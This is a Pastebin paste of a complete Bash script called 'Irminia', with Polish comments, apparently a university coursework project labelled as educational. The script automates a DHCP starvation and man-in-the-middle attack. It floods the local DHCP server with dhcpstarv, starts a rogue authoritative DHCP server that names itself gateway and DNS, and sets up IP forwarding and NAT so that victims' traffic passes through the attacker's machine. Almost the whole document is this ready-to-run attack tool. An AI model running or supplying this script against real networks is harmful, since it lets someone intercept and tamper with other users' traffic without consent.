Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- wybierz_interfejs() { #deklaracja funkcji, ponieważ wielokrotnie będę się do niej odwoływał
- interface="" #deklaracja zmiennej
- local interfaces=($(ip -o link show | awk -F ': ' '{print $2}')) #deklaracja zmiennej lokalnek, wyciecie z programu ip jeydnie nazw interfacu i wrzucenie ich do listy
- while [ "$interface" == "" ]; do #powtarzaj petle dopoki interface nie zostal ustalony
- clear #wyczysc terminal
- echo "$1" #wypisz polecenie przekazane do funkcji
- ip -o link show | awk -F ': ' '{print $2}' #wypisanie drugiego segmentu (rozdzielanego ": ") z programu ip
- read interface #wczytanie od uzytkownika nazwy interfacu
- if ! [[ " ${interfaces[*]} " =~ " ${interface} " ]]; then #jezeli wpisany przez uzytkownika nazwa interfejsu nie istnieje jako interfejs w systemie operacyjnym...
- interface="" #...to ustaw interfejs jako nic, co powtorzy petle
- fi
- done
- }
- system_pause() {
- echo "Kliknij dowolny przycisk aby kontynuować..."
- read -n 1 #wczytanie jednego znaku to zadnej zmiennej, spowoduje to zatrzymanie programu dopoki uzytkownik nie wcisnie czegokolwiek
- }
- if [ "$EUID" -ne 0 ]; then #jezeli user id nie rowna sie 0 to wyjdz z programu i poinformuj, ze skrypt musi byc uruchomiony z uprawnieniami roota
- printf "Prosze uruchomic skrypt jako \033[0;31;4mroot\033[0m\n"
- exit 1 #wyjdz z programu i zwroc 1 oznaczajacy ogolny błąd
- fi
- while [ "${wybor}" != "99" ]; do #jeżeli wybor bedzie 99 to przestań pwotarzać pętle
- clear
- printf "\033[0;33m _____ _ _ \n |_ _| (_) (_) \n | | _ __ _ __ ___ _ _ __ _ __ _ \n | | | '__|| '_ \` _ \ | || '_ \ | | / _\` |\n _| |_ | | | | | | | || || | | || || (_| |\n |_____||_| |_| |_| |_||_||_| |_||_| \__,_|\033[0m" #kolorowe logo programu
- printf "\n\n"
- printf " 1 Zainstaluj potrzebne pakiety\n"
- printf " 2 Wysyć adresy lokalnego serwera DHCP\n"
- printf " 3 Uruchom własny serwer DHCP\n"
- printf " 4 Konfiguracja NAT\n"
- printf "98 Informacje o programie\n"
- printf "99 Wyjście z programu"
- printf "\n\n"
- printf ">"
- read wybor
- case "${wybor}" in #switch wybierania odpowiedniej opcji z menu
- "1") clear
- if ! dpkg -s isc-dhcp-server > /dev/null 2>&1; then #jezeli pakiet isc-dhcp-server nie jest zainstalowany... (/dev/null 2>&1 oznacza usuniecie jakiegokolwiek outputa z programu)
- echo "Brak zainstalowanego serwera DHCP. Czy chcesz doinstalować pakiet? [T/n]"
- read -sn 1 wybor #wczytanie jednej literki do wybor -s oznacza wczytywanie niejawne
- wybor=${wybor,,} #zamiana pierwszej literki na małą w razie gdyby była duża
- if [ "$wybor" == "t" ] || [ "$wybor" == "y" ] || [ "$wybor" == "" ]; then #jezeli uzytkownik wyrazil chec zainstalowania programu to go zainstaluj. "$wybor" == "" ponieważ wcześniej zaznaczone jest duże T ([T/n])
- apt install -y isc-dhcp-server #menadżer pakietów apt ma zainstalować pakiet isc-dhcp-server. flaga -y oznacza, ze nie ma pytac uzytkownika czy na pewno chce pobrac pakiet
- clear
- fi
- else
- echo "Pakiet isc-dhcp-server jest już zainstalowany"
- fi
- if ! dpkg -s ipcalc > /dev/null 2>&1; then
- echo "Program ipcalc jest wymagany do poprawnego działania programu. Czy chcesz doinstalować pakiet? [T/n]"
- read -sn 1 wybor
- wybor=${wybor,,}
- if [ "$wybor" == "t" ] || [ "$wybor" == "y" ] || [ "$wybor" == "" ]; then
- apt install -y ipcalc
- clear
- fi
- else
- echo "Pakiet ipcalc jest już zainstalowany"
- fi
- if ! dpkg -s dhcpstarv > /dev/null 2>&1; then
- echo "Do wysycenia serwera DHCP jest potrzebny program dhcpstarv. Czy chcesz doinstalować pakiet? [T/n]"
- read -sn 1 wybor
- wybor=${wybor,,}
- if [ "$wybor" == "t" ] || [ "$wybor" == "y" ] || [ "$wybor" == "" ]; then
- apt install -y dhcpstarv
- clear
- fi
- else
- echo "Pakiet dhcpstarv jest już zainstalowany"
- fi
- echo ""
- system_pause #uruchomienie funkcji, ktora zatrzymuje program dopoki uzytkownik czegoś nie wciśnie
- ;;
- "2")
- if ! dpkg -s dhcpstarv > /dev/null 2>&1 ; then
- echo "Pakiet dhcpstarv nie jest zainstalowany. Wybierz w menu opcję doinstalowania wymaganych pakietów."
- else
- clear
- wybierz_interfejs "Wskaż interfejs przez który chcesz wyciągnąć wszystkie dostepne adresy z DHCP" #wykonanie funkcji z argumentem informującym użytkownika co ma wpisać
- sudo dhcpstarv -i ${interface} > /dev/null 2>&1 & #uruchomienie pakietu dhcpstarv na interfejsie podanym przez użytkownika. & na końcu uruchamia program w tle
- echo "Wysycanie serwera DHCP zostało uruchomione w tle"
- fi
- system_pause
- ;;
- "3")
- if ! dpkg -s isc-dhcp-server > /dev/null 2>&1 || ! dpkg -s ipcalc > /dev/null 2>&1 ; then #jeżeli jeden z dwóch (|| oznacza lub) nie jest zainstalowany...
- echo "Wymagane pakiety nie są zainstalowane. Wybierz w menu opcję doinstalowania wymaganych pakietów."
- else
- clear
- wybierz_interfejs "Wskaż interfejs na którym chcesz uruchomić usługę DHCP"
- ip=""
- while ! [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\/[0-9]+$ ]]; do #jezeli w kazdym oktecie adresu ip znajduje się coś innego niż liczby 0-9 a sam adres nie jest zakończony maską w formacie CIDR (np /24) to wykonuj pętle
- echo "Wprowadź adres sieci wraz z maską (np 192.168.0.0/24)"
- read ip
- CIDR=$(echo $ip | cut -f2 -d "/") #zapisz do zmiennej CIDR wszystko co zostało wpisane po /, czyli maskę wpisaną przez użytkownika
- if [[ $CIDR -gt 24 ]] || [[ 1 -gt $CIDR ]]; then #jeżeli maska będzie większa od 0 i mniejsza od 24 (program nie obsługuje masek większych niż 24)...
- ip="" #...to ustaw ip na nic, żeby petla sie powtórzya i uzytkownik wprowadził jeszcze raz adres ip
- fi
- done
- Network=$(ipcalc "$ip" | grep "Network" | awk '{ print $2; }' | cut -f1 -d "/") #zapisanie do zmiennej network adresu sieci
- Maska=$(ipcalc "$ip" | grep "Netmask" | awk '{ print $2; }') #zapisanie do zmiennej maska adresu maski sieci w formacie standardowym czyli 255.255.255.0
- ServerIP=$(ipcalc "$ip" | grep "HostMin" | awk '{ print $2; }') #zapisanie do zmiennej serverip najmniejszego dostępnego adresu z puli dhcp, co zostanie przydzielone dla serwera dhcp
- HostMax=$(ipcalc "$ip" | grep "HostMax" | awk '{ print $2; }') #zapisanie do zmiennej hostmax maksymalnego adresu dostępnego z puli dhcp
- echo ""
- echo "Adres IP serwera DHCP: ${ServerIP}"
- echo "Maska sieciowa: ${Maska}"
- echo "Pula adresowa serwera DHCP: ${ServerIP%?}2 - ${HostMax}" #${ServerIP%?}2 oznacza usunięcie ostatniego znaku ze stringa serverip a 2 zaraz za nią dopisuje po prostu dwojke na koncu, dzieki czemu 1 zmienia sie na 2
- echo ""
- #poniżej wgrywanie konfiguracji serwera DHCP
- echo "
- host $(hostname) {
- hardware ethernet $(more /sys/class/net/${interface}/address);
- fixed-address ${ServerIP};
- option subnet-mask ${Maska};
- }
- default-lease-time 600;
- max-lease-time 7200;
- authoritative;
- subnet ${Network} netmask ${Maska} {
- range ${ServerIP%?}2 ${HostMax};
- option routers ${ServerIP};
- option domain-name-servers ${ServerIP}, 8.8.8.8;
- option domain-name \"skynet.wsb.ru\";
- }
- " > /etc/dhcp/dhcpd.conf #wykonanie hostname aby nadac nazwe rezerwacji taka sama jak nazwa serwera dhcp, $(more /sys/class/net/${interface}/address) wyswietla zawartosc pliku w ktorym jest zapisany adres mac podanej karty sieciowej
- echo "INTERFACESv4=\"${interface}\"
- INTERFACESv6=\"eth0\"" > /etc/default/isc-dhcp-server #nadpisanie pliku /etc/default/isc-dhcp-server aby poinformować serwer DHCP jakich interfejsów ma używać
- ip link set ${interface} down #wyłączenie interfejsu
- ip address flush dev ${interface} #przywrócenie interfejsu do stanu domyślnego
- ip address add "${ServerIP}/${CIDR}" dev ${interface} #dodaj adres ip wraz z maską na interface wskazany porzez uzytkownika
- ip link set ${interface} up #włączenie interfejsu
- printf "\nUruchamianie uslugi...\n"
- systemctl restart isc-dhcp-server.service #zrestartuj usługę isc-dhcp-server
- sleep 10 #z bardzo ciekawych przyczyn należy po prostu poczekać aż usługa isc-dhcp-server się zrestartuje, bardzo chętnie opowiem dlaczego tak musi być
- systemctl is-active -q isc-dhcp-server.service #sprawdzenie czy ta usługa jest active
- if [ $? -ne 0 ]; then #$? oznacza sprawdzenie z jakim exit codem wykonała się porpzednie polecenie
- printf "\n\033[0;31;4mUsluga DHCP nie zostala uruchomiona\033[0m\n"
- echo "Po szczegolowe informacje sprawdz /var/log/syslog"
- exit 1
- else
- echo "Usługa została poprawnie uruchomiona"
- fi
- fi
- system_pause
- ;;
- "4")
- wybierz_interfejs "Podaj interface na którym działa twój serwer DHCP"
- LAN=$interface
- wybierz_interfejs "Podaj interface na który dostałeś IP (WAN)"
- WAN=$interface
- echo 1 > /proc/sys/net/ipv4/ip_forward #ustawienie forwardowanie pakietów na true, czyli 1
- iptables -t nat -A POSTROUTING -o $WAN -j MASQUERADE # tabeli nat dodaj POSTROUTING na interfacie wan
- iptables -A INPUT -i $LAN -j ACCEPT
- iptables -A INPUT -i $WAN -m state --state ESTABLISHED,RELATED -j ACCEPT
- iptables -A OUTPUT -j ACCEPT
- system_pause
- ;;
- "98") clear
- printf "\033[0;33m _____ _ _ \n |_ _| (_) (_) \n | | _ __ _ __ ___ _ _ __ _ __ _ \n | | | '__|| '_ \` _ \ | || '_ \ | | / _\` |\n _| |_ | | | | | | | || || | | || || (_| |\n |_____||_| |_| |_| |_||_||_| |_||_| \__,_|\033[0m\n"
- echo "Program Irminia to projekt programu BASH na systemy operacyjne na kierunku informatyka na wyższej szkole bankowej w Poznaniu. Program służy do przeprawdzania ataku DHCP Starvation i służy tylko i wyłącznie celom edukacyjnym. Program działa poprawnie na świeżej instalacji systemu Linux Ubuntu 22.04 LTS"
- echo ""
- echo ""
- echo "Opis ataku:"
- echo "Jest to atak typu Man In The Middle. Program wysyca całą pulę adresową lokalnego serwera DHCP, stawia swój własny serwis DHCP i konfiguruje NAT z jednego interfejsu na drugi. Dzięki temu nowe urządzenia dostają nasz adres IP i cały ruch jest kierowany przez nasz komputer."
- echo ""
- echo ""
- echo "Krzysztof Pacyna © 2022"
- system_pause
- ;;
- "99")
- echo "Goodbye!"
- wybor="99"
- ;;
- "exit")
- echo "Goodbye!"
- wybor="99"
- ;;
- esac #zakończenie switcha
- done
- exit 0 #zakończenie programu z exit codem 0, co oznacza poprawne zakończenie programu
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement